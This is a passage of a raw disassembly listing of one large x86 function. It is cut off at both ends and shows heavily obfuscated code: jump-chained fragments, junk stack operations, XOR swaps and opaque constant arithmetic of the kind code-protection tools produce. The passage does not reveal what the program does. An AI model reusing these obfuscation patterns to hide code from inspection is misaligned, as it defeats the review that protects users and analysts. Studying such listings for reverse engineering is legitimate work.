ebx, eax pop eax push eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp+1Ah+var_1A] pop esp add ecx, 4 add ecx, 4 sub esp, 4 mov [esp+1Ah+var_1A], ecx push [esp+1Ah+var_16] mov ecx, [esp+1Eh+var_1E] add esp, 4 pop [esp+1Ah+var_1A] pop esp jmp loc_596772 ; --------------------------------------------------------------------------- loc_597932: ; CODE XREF: sub_57DD3A+1568Bj pop esi and eax, edi pop edi shr eax, 10h xor eax, ecx push edx jmp loc_59A953 ; --------------------------------------------------------------------------- loc_597941: ; CODE XREF: sub_57DD3A+1F9AAj mov edx, 4 add edi, edx pop edx add edi, 4 xchg edi, [esp+7Ch+var_7C] pop esp mov dl, cl pop ecx not dl xor dl, cl xor cl, dl xor dl, cl dec cl xor dl, cl xor cl, dl jmp loc_599702 ; --------------------------------------------------------------------------- loc_597969: ; CODE XREF: sub_57DD3A+1348Bj sub eax, ebp pop ebp jmp loc_59D15C ; --------------------------------------------------------------------------- loc_597971: ; CODE XREF: sub_57DD3A+141EBj xchg ebx, [esp+68h+var_68] jmp loc_5A3296 ; --------------------------------------------------------------------------- loc_597979: ; CODE XREF: sub_57DD3A+20448j pop esi sub esp, 4 mov [esp+68h+var_68], ebx push eax mov eax, 4 mov ebx, eax jmp loc_5A1195 ; --------------------------------------------------------------------------- loc_59798D: ; CODE XREF: sub_57DD3A+1CE7Aj push 1D90h mov [esp+70h+var_70], edx mov edx, 6BCB06CCh not edx sub edx, 53F8B61Ch mov ebp, edx pop edx jmp loc_5A1FF2 ; --------------------------------------------------------------------------- loc_5979AA: ; CODE XREF: sub_57DD3A+23734j mov esp, [esp+6Ch+var_6C] jmp loc_597E80 ; --------------------------------------------------------------------------- loc_5979B2: ; CODE XREF: sub_57DD3A+177E0j shr ecx, 7 push 5653h mov [esp+4Ch+var_4C], ebx push esp pop ebx add ebx, 4 jmp loc_5A29E7 ; --------------------------------------------------------------------------- loc_5979CA: ; CODE XREF: sub_57DD3A+19B5Cj push ebx jmp loc_5908E3 ; --------------------------------------------------------------------------- loc_5979D0: ; CODE XREF: sub_57DD3A+1EBE8j sub esp, 4 mov [esp-4+arg_0], eax push 1 pop eax push 27F9h mov [esp+0], edx jmp loc_599870 ; --------------------------------------------------------------------------- loc_5979EC: ; CODE XREF: sub_57DD3A+1F8A1j sub ecx, 4 xchg ecx, [esp+0] jmp loc_59B9B9 ; --------------------------------------------------------------------------- loc_5979FA: ; CODE XREF: sub_57DD3A+23F40j sub eax, ebx jmp loc_593D93 ; --------------------------------------------------------------------------- loc_597A01: ; CODE XREF: sub_57DD3A+1F2DEj sub edx, 1FA32A3Ch xor edx, 63C135E0h or edx, 54D363E5h sub edx, 182DF9B3h xor ebx, edx mov edx, [esp+0] add esp, 4 jmp loc_59F49E ; --------------------------------------------------------------------------- loc_597A29: ; CODE XREF: sub_57DD3A+11599j mov eax, 5E4C4EA9h sub eax, 5DD92E1Bh sub eax, 542865B8h add eax, 53B5452Eh add ebp, eax jmp loc_590583 ; --------------------------------------------------------------------------- loc_597A44: ; CODE XREF: sub_57DD3A+24E67j add ebp, ecx pop ecx jmp loc_59F753 ; --------------------------------------------------------------------------- loc_597A4C: ; CODE XREF: sub_57DD3A+1FB4Bj add edx, 4 xchg edx, [esp+36h+var_36] pop esp push esi mov esi, 2 add ebx, esi pop esi push ebx push [esp+36h+var_32] pop ebx pop [esp+36h+var_36] jmp loc_5907DD ; --------------------------------------------------------------------------- loc_597A6A: ; CODE XREF: sub_57DD3A+18140j mov esi, [esp+14h+var_16+2] jmp loc_58F5D5 ; --------------------------------------------------------------------------- loc_597A72: ; CODE XREF: sub_57DD3A+25257j push [esp+14h+var_16+2] pop ecx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+18h+var_1A+2] jmp loc_59271E ; --------------------------------------------------------------------------- loc_597A8A: ; CODE XREF: sub_57DD3A+11041j sub ebx, 3F881A13h jmp loc_59D4F1 ; --------------------------------------------------------------------------- loc_597A95: ; CODE XREF: sub_57DD3A+23302j pop esp mov [esp+22h+var_22], eax xor [esp+22h+var_22], ebp xor ebp, [esp+22h+var_22] xor [esp+22h+var_22], ebp push 2E8Ah mov [esp+26h+var_26], ebp xchg edx, [esp+26h+var_26] not edx jmp loc_5901B5 ; --------------------------------------------------------------------------- loc_597AB4: ; CODE XREF: sub_57DD3A+14DA0j mov [esp+6+var_8+2], ebp mov ebp, 18415ABEh shl ebp, 7 inc ebp shl ebp, 6 push edx mov edx, 31C92DFCh push eax mov eax, 6FE67536h dec eax jmp loc_598E4A ; --------------------------------------------------------------------------- loc_597AD5: ; CODE XREF: sub_57DD3A+1C127j pop esi jmp loc_59C94B ; --------------------------------------------------------------------------- loc_597ADB: ; CODE XREF: sub_57DD3A+1EE7Bj add ebp, 57D73E85h or edx, ebp pop ebp jmp loc_594B59 ; --------------------------------------------------------------------------- loc_597AE9: ; CODE XREF: sub_57DD3A+22827j neg cl add cl, 8Fh jmp loc_598C4B ; --------------------------------------------------------------------------- loc_597AF3: ; CODE XREF: sub_57DD3A+10D69j mov edx, 729A1D3Eh add [esp+1Ch+var_1A+2], edx pop edx push ebx mov ebx, 4C10D49h sub [esp+1Ch+var_1A+2], ebx mov ebx, [esp+1Ch+var_1E+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+20h+var_22+2] mov esp, [esp+20h+var_22+2] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_597B24: ; CODE XREF: sub_57DD3A+13FA6j pop esp pop bx add bl, 0DAh push small 1AFBh mov word ptr [esp+22h+var_22], dx push ecx push edx mov dh, 39h add dh, 68h push ebx mov bh, dh mov ch, bh mov ebx, [esp+2Eh+var_2E] add esp, 4 pop edx push eax jmp loc_596291 ; --------------------------------------------------------------------------- loc_597B4E: ; CODE XREF: sub_57DD3A+113ADj add esp, 4 pop [esp+38h+var_3A+2] mov esp, [esp+34h+var_36+2] mov word ptr [esp+34h+var_36+2], dx jmp loc_59A89D ; --------------------------------------------------------------------------- loc_597B63: ; CODE XREF: sub_57DD3A+131ACj xor [esp+58h+var_58], ecx xor ecx, [esp+58h+var_58] jmp loc_59FC84 ; --------------------------------------------------------------------------- off_597B6E dd offset dword_562194+2D4h ; DATA XREF: sub_57DD3A+1033Ao dw 0E900h dd 0FFFF8F93h ; --------------------------------------------------------------------------- loc_597B78: ; CODE XREF: sub_57DD3A+23427j mov eax, 1FFC4D0Bh mov ecx, 6A1637BFh xor ecx, eax push [esp+58h+var_58] pop eax jmp loc_59AE88 ; --------------------------------------------------------------------------- loc_597B8D: ; CODE XREF: sub_57DD3A+1BC6Bj sub bh, 88h add cl, bh jmp loc_5905B5 ; --------------------------------------------------------------------------- loc_597B97: ; CODE XREF: sub_57DD3A+1EE01j not ebx inc ebx inc ebx add ebx, 2FE90749h add ebx, 0DD41603Fh sub ebx, 20CE2FBEh sub ebx, ecx add ebx, 20CE2FBEh xchg ebx, ecx pop ebx xor ecx, 0E898BE60h jmp loc_59EBC3 ; --------------------------------------------------------------------------- loc_597BC3: ; CODE XREF: sub_57DD3A+23BA6j inc esi not esi sub esi, 6EC045D8h jmp loc_59B625 ; --------------------------------------------------------------------------- loc_597BD1: ; CODE XREF: sub_57DD3A+24D5Dj mov ecx, esp add ecx, 4 jmp loc_59E4E2 ; --------------------------------------------------------------------------- loc_597BDE: ; CODE XREF: sub_57DD3A+24878j add esp, 4 push edi mov edi, 0FE35B98h push edx mov edx, 6D1C3D75h sub esp, 4 mov [esp+5Ch+var_5C], ebx mov ebx, 7777720Dh not ebx sub ebx, 4BB37CAEh sub edx, ebx pop ebx jmp loc_5A0B23 ; --------------------------------------------------------------------------- loc_597C0B: ; CODE XREF: sub_57DD3A+16DC6j push esp pop eax push ebp jmp loc_59BDE1 ; --------------------------------------------------------------------------- loc_597C13: ; CODE XREF: sub_57DD3A+18AF2j pop ebx jmp loc_59AEC0 ; --------------------------------------------------------------------------- loc_597C19: ; CODE XREF: sub_57DD3A+1AB06j pop ebx jmp loc_5A0F4F ; --------------------------------------------------------------------------- loc_597C1F: ; CODE XREF: sub_57DD3A+151FDj pop edx jmp loc_599ACD ; --------------------------------------------------------------------------- loc_597C25: ; CODE XREF: sub_57DD3A+1DE16j sub esp, 4 mov [esp+56h+var_58+2], edx mov edx, 34B956C3h xor edx, 78211E2Eh inc edx sub edx, 22684842h xor edx, 57A4064Eh add edx, 23554C1h not edx inc edx jmp loc_5958E5 ; --------------------------------------------------------------------------- loc_597C51: ; CODE XREF: sub_57DD3A+22E43j sub ebx, 4 xchg ebx, [esp+56h+var_58+2] pop esp mov [esp+52h+var_54+2], edi push 522h mov [esp+56h+var_58+2], ebx mov ebx, 7833391Dh mov edi, 87CCC6E7h add edi, ebx push [esp+56h+var_58+2] mov ebx, [esp+5Ah+var_5C+2] add esp, 4 push edx mov edx, esp add edx, 4 push ecx jmp loc_59AD6B ; --------------------------------------------------------------------------- loc_597C8D: ; CODE XREF: sub_57DD3A+24448j add esp, 4 jmp loc_58F04D ; --------------------------------------------------------------------------- loc_597C98: ; CODE XREF: sub_57DD3A+19803j mov ebx, 31C3A2Bh sub ebx, 734092Ah neg ebx jmp loc_58E359 ; --------------------------------------------------------------------------- loc_597CAA: ; CODE XREF: sub_57DD3A+21A3Cj xor ebx, [esp+80h+var_80] pop esp push [esp+7Ch+var_7C] pop ecx sub esp, 4 mov [esp+80h+var_80], eax push esp mov eax, [esp+84h+var_84] add esp, 4 push 15ACh mov [esp+84h+var_84], ecx jmp loc_58F155 ; --------------------------------------------------------------------------- loc_597CCF: ; CODE XREF: sub_57DD3A+12B1Cj mov ecx, 2CA14C54h mov ebp, 58A455A0h xor ebp, ecx pop ecx sub ebp, ebx jmp loc_59FBC3 ; --------------------------------------------------------------------------- loc_597CE3: ; DATA XREF: sub_57DD3A+10376o lodsb sub al, 1Fh add al, 0A6h add al, bl sub al, 0A6h push ebx mov bh, 1Ah shr bh, 5 dec bh not bh push eax push edx mov dl, 0B5h mov ah, dl jmp loc_5A2BB9 ; --------------------------------------------------------------------------- loc_597D01: ; CODE XREF: sub_57DD3A+1A82Aj xor edi, 6B205801h push 53ADh mov [esp+5Ah+var_5C+2], edi mov edx, [esp+5Ah+var_5C+2] add esp, 4 mov edi, [esp+56h+var_58+2] add esp, 4 loc_597D1E: ; CODE XREF: sub_57DD3A+199AAj ; sub_57DD3A+1B485j push esi push ebx jmp loc_599000 ; --------------------------------------------------------------------------- loc_597D25: ; CODE XREF: sub_57DD3A+22EF8j pop esp rol word ptr [esp+56h+var_58+2], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_597D30: ; CODE XREF: sub_57DD3A+16DDAj add ebp, ebx pop ebx sub ebx, ebp pop ebp add ebx, 1FA3486Bh add ebx, edi jmp loc_59EC89 ; --------------------------------------------------------------------------- loc_597D43: ; CODE XREF: sub_57DD3A+16A5Ej mov [esp+58h+var_58], ebx push 0 jmp loc_59EC07 ; --------------------------------------------------------------------------- loc_597D50: ; CODE XREF: sub_57DD3A+167E4j mov edi, 4 jmp loc_590DC7 ; --------------------------------------------------------------------------- loc_597D5A: ; CODE XREF: sub_57DD3A+1F970j mov [esp], ecx mov ecx, 59A251Fh jmp loc_595B91 ; --------------------------------------------------------------------------- loc_597D67: ; CODE XREF: sub_57DD3A+1D3B8j mov [esp+0], ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp+44h+var_46+2] pop esp xor al, dl jmp loc_590415 ; --------------------------------------------------------------------------- loc_597D7D: ; CODE XREF: sub_57DD3A+15D24j pop edx xor esi, 82914EFh push edi mov edi, 2D975BDEh jmp loc_59F33B ; --------------------------------------------------------------------------- loc_597D8F: ; CODE XREF: sub_57DD3A+22ACDj push ecx mov ch, al mov bl, ch pop ecx mov eax, [esp+20h+var_22+2] jmp loc_596D8E ; --------------------------------------------------------------------------- loc_597D9D: ; CODE XREF: sub_57DD3A+1CD7Ej push eax push 25086126h pop eax sub esp, 4 mov [esp+28h+var_2A+2], ecx mov ecx, 764D6325h xor eax, ecx pop ecx xor eax, 4C012903h add edx, 21C96513h push edi mov edi, 27C273DEh sub edx, edi pop edi sub edx, eax add edx, 27C273DEh sub edx, 21C96513h pop eax push eax mov eax, 1F395F43h jmp loc_597542 ; --------------------------------------------------------------------------- loc_597DE3: ; CODE XREF: sub_57DD3A+24536j mov ecx, [esp+24h+var_26+2] add esp, 4 jmp loc_5A0A4D ; --------------------------------------------------------------------------- loc_597DEE: ; CODE XREF: sub_57DD3A+202ACj mov [esp+20h+var_22+2], ecx sub esp, 4 mov [esp+24h+var_26+2], esp add [esp+24h+var_26+2], 4 push [esp+24h+var_26+2] pop ecx push 6544h mov [esp+28h+var_2A+2], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_598F22 ; --------------------------------------------------------------------------- loc_597E1D: ; CODE XREF: sub_57DD3A+1F838j sub edx, 4 xchg edx, [esp+28h+var_2A+2] jmp loc_59935F ; --------------------------------------------------------------------------- loc_597E2B: ; CODE XREF: sub_57DD3A+1B901j push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 sub ecx, ebp mov ebp, [esp+30h+var_32+2] add esp, 4 xchg ecx, [esp+2Ch+var_2E+2] pop esp mov [esp+28h+var_2A+2], ebp mov ebp, 6FFB08ADh push 5CB8h mov [esp+2Ch+var_2E+2], ebx push ebp push 41C925E3h pop ebp jmp loc_5992BB ; --------------------------------------------------------------------------- loc_597E62: ; CODE XREF: sub_57DD3A+221EEj pop ecx push bx mov bh, dh jmp loc_59C699 ; --------------------------------------------------------------------------- loc_597E6C: ; CODE XREF: sub_57DD3A+197C1j add edx, 4 xchg edx, [esp+84h+var_84] jmp loc_591E92 ; --------------------------------------------------------------------------- loc_597E7A: ; CODE XREF: sub_57DD3A+1470Aj push esi jmp loc_599618 ; --------------------------------------------------------------------------- loc_597E80: ; CODE XREF: sub_57DD3A+19C73j push 76C2h mov [esp+70h+var_70], ecx sub esp, 4 jmp loc_5923D8 ; --------------------------------------------------------------------------- loc_597E93: ; CODE XREF: sub_57DD3A+10BCDj add esi, 4 xchg esi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] add eax, 4 push 0E38h mov [esp+0], eax push [esp+0Ah+var_8+2] pop eax pop dword ptr [esp+0] mov esp, [esp+6+var_8+2] mul ecx push 4FBDh mov [esp+0], edx push eax pushf jmp loc_5A2B84 ; --------------------------------------------------------------------------- loc_597EC6: ; CODE XREF: sub_57DD3A+21E8Aj push 740Bh jmp loc_5902CC ; --------------------------------------------------------------------------- loc_597ED0: ; CODE XREF: sub_57DD3A+1D3D5j and ebx, edi pop edi shr ebx, 4 inc ebx jmp loc_591AEB ; --------------------------------------------------------------------------- loc_597EDC: ; CODE XREF: sub_57DD3A+199FDj sub al, dl pop edx push ebx jmp loc_596383 ; --------------------------------------------------------------------------- loc_597EE5: ; CODE XREF: sub_57DD3A+227D7j push 7C85h mov [esp+64h+var_64], ebp mov ebp, 4 add ecx, ebp mov ebp, [esp+64h+var_64] add esp, 4 add ecx, 4 xor ecx, [esp+60h+var_60] xor [esp+60h+var_60], ecx xor ecx, [esp+60h+var_60] jmp loc_599BAC ; --------------------------------------------------------------------------- loc_597F0E: ; CODE XREF: sub_57DD3A+1F5EFj or eax, eax jz loc_58FEA2 push dword ptr [edi+1Ch] jmp loc_59C156 ; --------------------------------------------------------------------------- loc_597F1E: ; CODE XREF: sub_57DD3A+15342j sub bl, ch pop ecx add bl, al push small 4CD0h mov word ptr [esp+38h+var_3A+2], dx push 26D4h jmp loc_5987C9 ; --------------------------------------------------------------------------- loc_597F35: ; CODE XREF: sub_57DD3A+21829j add ch, 0C2h sub ch, 19h jmp loc_59F248 ; --------------------------------------------------------------------------- loc_597F40: ; CODE XREF: sub_57DD3A+14426j mov eax, 1 jmp loc_598617 ; --------------------------------------------------------------------------- loc_597F4A: ; CODE XREF: sub_57DD3A+14D8Dj push [esp+6+var_8+2] jmp loc_5A1E71 ; --------------------------------------------------------------------------- loc_597F52: ; CODE XREF: sub_57DD3A+1BE0Bj pop esp mov [esp+6+var_8+2], ebp push ecx jmp loc_5935EB ; --------------------------------------------------------------------------- loc_597F5C: ; CODE XREF: sub_57DD3A+1F794j mov [esp+0], ebp mov ebp, 6CF2572Eh mov ebx, ebp pop ebp jmp loc_59EBFD ; --------------------------------------------------------------------------- loc_597F6C: ; CODE XREF: sub_57DD3A+1ABABj shr edi, 2 jmp loc_5A2671 ; --------------------------------------------------------------------------- loc_597F74: ; CODE XREF: sub_57DD3A+12BD7j mov eax, 12450830h dec eax jmp loc_59CBBA ; --------------------------------------------------------------------------- loc_597F7F: ; CODE XREF: sub_57DD3A+2205Ej push [esp+12h+var_E] jmp loc_59C9FB ; --------------------------------------------------------------------------- loc_597F88: ; CODE XREF: sub_57DD3A+12DFDj sub esi, 14AD6510h mov edx, [esp+64h+var_64] add esp, 4 push edi mov edi, 5486330Eh add eax, edi pop edi add eax, esi push 5706h jmp loc_5996F5 ; --------------------------------------------------------------------------- loc_597FA9: ; CODE XREF: sub_57DD3A+20209j pop esp jmp loc_59D977 ; --------------------------------------------------------------------------- loc_597FAF: ; CODE XREF: sub_57DD3A+11B79j push 1897h mov [esp+78h+var_78], eax sub esp, 4 push esp pop [esp+80h+var_80] jmp loc_59516D ; --------------------------------------------------------------------------- loc_597FC6: ; CODE XREF: sub_57DD3A+141F8j pop ebx jmp loc_598B43 ; --------------------------------------------------------------------------- loc_597FCC: ; CODE XREF: sub_57DD3A+1A41Bj push esi mov esi, 4 jmp loc_59D417 ; --------------------------------------------------------------------------- loc_597FD7: ; CODE XREF: sub_57DD3A+1BBACj mov edx, [esp+6Ch+var_6C] jmp loc_59F081 ; --------------------------------------------------------------------------- loc_597FDF: ; CODE XREF: sub_57DD3A+22BFEj push eax mov eax, 2 add esi, eax pop eax jmp loc_59E192 ; --------------------------------------------------------------------------- loc_597FED: ; CODE XREF: sub_57DD3A+24FDEj xchg edi, [esp+6Ch+var_6C] pop esp mov [esp+68h+var_68], edi push edx mov edx, 3BD11456h sub esp, 4 mov [esp+70h+var_70], edx jmp loc_59AACF ; --------------------------------------------------------------------------- loc_598005: ; CODE XREF: sub_57DD3A+15D62j push edx sub [esp+20h+var_22+2], 94512D4h jmp loc_593A57 ; --------------------------------------------------------------------------- loc_598012: ; CODE XREF: sub_57DD3A+22700j sub al, cl mov ecx, [esp+20h+var_22+2] push edi jmp loc_5A007F ; --------------------------------------------------------------------------- loc_59801D: ; CODE XREF: sub_57DD3A+18400j inc edx dec edx add edx, 46527139h add eax, edx pop edx jmp loc_5A1465 ; --------------------------------------------------------------------------- loc_59802D: ; CODE XREF: sub_57DD3A+2034Dj xor ebx, [esp+58h+var_58] jmp loc_59D517 ; --------------------------------------------------------------------------- loc_598035: ; DATA XREF: sub_57DD3A+1051Eo push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp+56h+var_58+2], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_598044: ; CODE XREF: sub_57DD3A+23464j add edx, 4 add edx, 4 xchg edx, [esp+5Ah+var_5C+2] pop esp push ebp mov ebp, 4 add esi, ebp pop ebp xor esi, [esp+56h+var_58+2] xor [esp+56h+var_58+2], esi xor esi, [esp+56h+var_58+2] mov esp, [esp+56h+var_58+2] push ebx push 5D64h mov [esp+5Eh+var_60+2], edx jmp loc_5A138B ; --------------------------------------------------------------------------- loc_598077: ; CODE XREF: sub_57DD3A+22C3Fj mov eax, esp jmp loc_58F175 ; --------------------------------------------------------------------------- loc_59807E: ; CODE XREF: sub_57DD3A+13A70j add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp+5Ch+var_5C] mov esp, [esp+5Ch+var_5C] mov [esp+5Ch+var_5C], ecx jmp loc_59CB95 ; --------------------------------------------------------------------------- loc_5980A5: ; CODE XREF: sub_57DD3A+12D4Dj push eax pop ecx pop eax push [esp+0Ch+var_E+2] pop esi add esp, 4 add edi, 7B9D44FBh jmp loc_5913B6 ; --------------------------------------------------------------------------- loc_5980BA: ; CODE XREF: sub_57DD3A+1873Cj mov [esp+50h+var_50], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+50h+var_50] pop esp jmp loc_59E222 ; --------------------------------------------------------------------------- loc_5980D4: ; CODE XREF: sub_57DD3A+18465j or ebp, 2A5B4D2Ah sub ebp, 0CE45392h sub ebp, 0D26FC466h xor ecx, ebp pop ebp mov eax, ecx pop ecx inc eax inc eax not eax sub eax, 26F37DB8h jmp loc_594825 ; --------------------------------------------------------------------------- loc_5980FA: ; CODE XREF: sub_57DD3A+1C7D6j sub esp, 4 mov [esp+2+var_4+2], esi mov esi, esp jmp loc_59CD7B ; --------------------------------------------------------------------------- loc_59810A: ; CODE XREF: sub_57DD3A+2091Aj shr edx, 1 cmp eax, edx jz loc_598AFF push ecx push edi push 240B1F34h pop edi not edi sub edi, 0DBF4E0CBh mov ecx, edi mov edi, [esp+0] add esp, 4 push ebx mov ebx, 20h push ebp jmp loc_590A55 ; --------------------------------------------------------------------------- loc_598138: ; CODE XREF: sub_57DD3A+17B08j and edx, 1784017h jmp loc_5904F2 ; --------------------------------------------------------------------------- loc_598143: ; CODE XREF: sub_57DD3A+2489Aj sub edi, 0C692B23Eh add ebp, edi pop edi jmp loc_5908B3 ; --------------------------------------------------------------------------- loc_598151: ; CODE XREF: sub_57DD3A+1CF44j pop edi push edi mov edi, esp jmp loc_597FCC ; --------------------------------------------------------------------------- loc_59815A: ; CODE XREF: sub_57DD3A+1E50Fj push 6549h mov [esp+4Eh+var_50+2], esi jmp loc_59374A ; --------------------------------------------------------------------------- loc_598167: ; CODE XREF: sub_57DD3A+1239Fj add esp, 4 add edx, 2BD84D00h push ecx jmp loc_59A2E8 ; --------------------------------------------------------------------------- loc_598179: ; CODE XREF: sub_57DD3A+174D0j add edi, 4 xchg edi, [esp+36h+var_36] jmp loc_58F56D ; --------------------------------------------------------------------------- loc_598187: ; CODE XREF: sub_57DD3A+186A4j add ebx, 45D670CCh mov esi, [esp+78h+var_78] push edi push esp jmp loc_59726D ; --------------------------------------------------------------------------- loc_598197: ; CODE XREF: sub_57DD3A+1BACDj push esi push 15D17FF0h jmp loc_58E781 ; --------------------------------------------------------------------------- loc_5981A2: ; CODE XREF: sub_57DD3A+2485Fj mov edi, ecx push [esp+88h+var_88] pop ecx add esp, 4 add eax, 2FB70425h add eax, 0D176296h sub eax, edi push ebx mov ebx, 0D176296h sub eax, ebx jmp loc_59332A ; --------------------------------------------------------------------------- loc_5981C7: ; CODE XREF: sub_57DD3A+11456j mov edx, 4 add ebp, edx mov edx, [esp+56h+var_58+2] add esp, 4 push 36D8h mov [esp+56h+var_58+2], ebp push [esp+56h+var_54+2] push [esp+5Ah+var_5C+2] jmp loc_59F291 ; --------------------------------------------------------------------------- loc_5981E8: ; CODE XREF: sub_57DD3A+12C1Dj add edx, eax pop eax push ecx mov ecx, 626E1827h jmp loc_5A2D4C ; --------------------------------------------------------------------------- loc_5981F6: ; CODE XREF: sub_57DD3A+17EF9j push edi push ebp mov ebp, 70F04342h xor [esp+22h+var_1E], ebp push [esp+22h+var_22] mov ebp, [esp+26h+var_26] jmp loc_58E471 ; --------------------------------------------------------------------------- loc_59820C: ; CODE XREF: sub_57DD3A+17589j push ecx jmp loc_59B8EC ; --------------------------------------------------------------------------- loc_598212: ; CODE XREF: sub_57DD3A+1E527j and eax, 6A6115B6h and eax, 174324B3h not eax sub eax, 0DA60C9DEh push ebp mov ebp, 0FFFFFFFFh sub eax, ebp pop ebp shr eax, 2 shr eax, 2 jmp loc_5905FA ; --------------------------------------------------------------------------- loc_598237: ; CODE XREF: sub_57DD3A+1A969j dec edx xchg edx, esi sub esi, 780C3FC7h jmp loc_59C52B ; --------------------------------------------------------------------------- loc_598245: ; CODE XREF: sub_57DD3A+25479j neg esi add esi, 0D1913113h xor ebx, esi pop esi jmp loc_58ECAD ; --------------------------------------------------------------------------- loc_598255: ; CODE XREF: sub_57DD3A+1061Aj push cx mov cl, 6Ah add al, cl jmp loc_5A0540 ; --------------------------------------------------------------------------- loc_598260: ; CODE XREF: sub_57DD3A+11896j push ebx mov ebx, esp add ebx, 4 jmp loc_591D63 ; --------------------------------------------------------------------------- loc_59826E: ; CODE XREF: sub_57DD3A+14AB6j push ebx mov ebx, 4 add edi, ebx jmp loc_59C7E4 ; --------------------------------------------------------------------------- loc_59827B: ; DATA XREF: sub_57DD3A+10506o push [esp+3Eh+var_3E] push [esp+42h+var_42] pop eax add esp, 4 push ebp push 4C90h mov [esp+46h+var_46], esp add [esp+46h+var_46], 4 mov ebp, [esp+46h+var_46] add esp, 4 sub esp, 4 mov [esp+46h+var_46], edi mov edi, 4 jmp loc_58EFA1 ; --------------------------------------------------------------------------- loc_5982B1: ; CODE XREF: sub_57DD3A+1A6CDj mov [esp+46h+var_46], ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp jmp loc_5A181F ; --------------------------------------------------------------------------- loc_5982C3: ; CODE XREF: sub_57DD3A+16589j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5982C8: ; CODE XREF: sub_57DD3A+1FC85j pop eax push 19CCh mov [esp+1Eh+var_1E], esi push esp jmp loc_59219C ; --------------------------------------------------------------------------- loc_5982D7: ; CODE XREF: sub_57DD3A+21330j mov ebp, 0FFE4B026h add ebp, ebx pop ebx jmp loc_59A8F1 ; --------------------------------------------------------------------------- loc_5982E4: ; CODE XREF: sub_57DD3A+1F375j mov ecx, [esp+1Eh+var_1E] sub esp, 4 jmp loc_5A2D82 ; --------------------------------------------------------------------------- loc_5982EF: ; CODE XREF: sub_57DD3A+1E70Bj or edi, 655B01A3h and edi, 6432048Ch push 0 sub [esp+26h+var_26], edi pop edi shr edi, 8 add edi, 0EB23DF7h jmp loc_5960BD ; --------------------------------------------------------------------------- loc_598312: ; CODE XREF: sub_57DD3A+194B5j sub cl, 0D8h push [esp+0Ch+var_E+2] jmp loc_59FFE8 ; --------------------------------------------------------------------------- loc_59831D: ; CODE XREF: sub_57DD3A+18D94j push 7BB2h mov [esp+26h+var_26], ecx push 1FB9237Bh pop ecx shl ecx, 2 add ecx, 67FB59A5h push edi push ebp mov ebp, 432C6236h mov edi, ebp jmp loc_5A1011 ; --------------------------------------------------------------------------- loc_598342: ; CODE XREF: sub_57DD3A+23A3Bj xor [esp+2Eh+var_2E], edi jmp loc_5A1CAE ; --------------------------------------------------------------------------- loc_59834A: ; CODE XREF: sub_57DD3A+1B0A6j add esp, 4 sub [esp+2Ah+var_26], 28F728Dh add [esp+2Ah+var_26], eax push eax mov eax, 28F728Dh add [esp+2Eh+var_26], eax pop eax push [esp+2Ah+var_2A] mov eax, [esp+2Eh+var_2E] add esp, 4 add esp, 4 push [esp+26h+var_26] push [esp+2Ah+var_2A] jmp loc_591BCA ; --------------------------------------------------------------------------- loc_59837E: ; CODE XREF: sub_57DD3A+1E831j push ecx jmp loc_5A0114 ; --------------------------------------------------------------------------- loc_598384: ; CODE XREF: sub_57DD3A+149A5j add ebp, edx jmp loc_5A2CE1 ; --------------------------------------------------------------------------- loc_59838B: ; CODE XREF: sub_57DD3A+1AF90j xor [esp+6Ch+var_6C], ecx xor ecx, [esp+6Ch+var_6C] mov esp, [esp+6Ch+var_6C] jmp loc_59C14D ; --------------------------------------------------------------------------- loc_598399: ; CODE XREF: sub_57DD3A+18835j add esi, edi jmp loc_590CF1 ; --------------------------------------------------------------------------- loc_5983A0: ; CODE XREF: sub_57DD3A+1FE8Bj push [esp+42h+var_3E] pop edi jmp loc_599917 ; --------------------------------------------------------------------------- loc_5983AA: ; CODE XREF: sub_57DD3A+1CD3Ej add esp, 4 push edx mov edx, 1D83610Dh not edx jmp loc_59D0E2 ; --------------------------------------------------------------------------- loc_5983BA: ; CODE XREF: sub_57DD3A+17367j inc ebp xor ebp, 884D5A9Bh sub edx, ebp pop ebp jmp loc_59B43D ; --------------------------------------------------------------------------- loc_5983C9: ; CODE XREF: sub_57DD3A+17285j xor al, ch mov ecx, [esp+0] jmp loc_59E6E2 ; --------------------------------------------------------------------------- loc_5983D3: ; CODE XREF: sub_57DD3A+1BF0Fj mov [esp+0], ecx mov ecx, 17FE789Fh sub ebp, ecx pop ecx pop edx push edi push ebp mov ebp, 2 push ebp pop edi push dword ptr [esp+0] mov ebp, [esp+4+var_4] add esp, 4 add esp, 4 sub ebp, edi jmp loc_59F7AB ; --------------------------------------------------------------------------- mov cx, word ptr [esp-4+arg_0] push 529Ch jmp loc_5982B1 ; --------------------------------------------------------------------------- loc_59840C: ; CODE XREF: sub_57DD3A+17B3Ej push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+68h+var_68] jmp loc_59ED4B ; --------------------------------------------------------------------------- loc_598422: ; CODE XREF: sub_57DD3A+20548j add esi, 4 sub esi, 4 xchg esi, [esp+68h+var_68] pop esp mov [esp+64h+var_64], edi push 7121h mov [esp+68h+var_68], esi mov esi, 24062961h jmp loc_591F79 ; --------------------------------------------------------------------------- push [esp+68h+var_68] push [esp+6Ch+var_6C] pop ecx jmp loc_596222 ; --------------------------------------------------------------------------- loc_598450: ; CODE XREF: sub_57DD3A+2441Ej pop edx pop eax push eax push ebx mov ebx, 78934F30h mov eax, 876CB0D4h add eax, ebx pop ebx push 73EDh mov [esp+6Ch+var_6C], ecx jmp loc_59D5BF ; --------------------------------------------------------------------------- loc_59846E: ; CODE XREF: sub_57DD3A+21561j add ebp, 4 xchg ebp, [esp+6Ch+var_6C] pop esp jmp $+5 pop [esp+68h+var_68] mov esp, [esp+64h+var_64] push [esp+64h+var_64] jmp 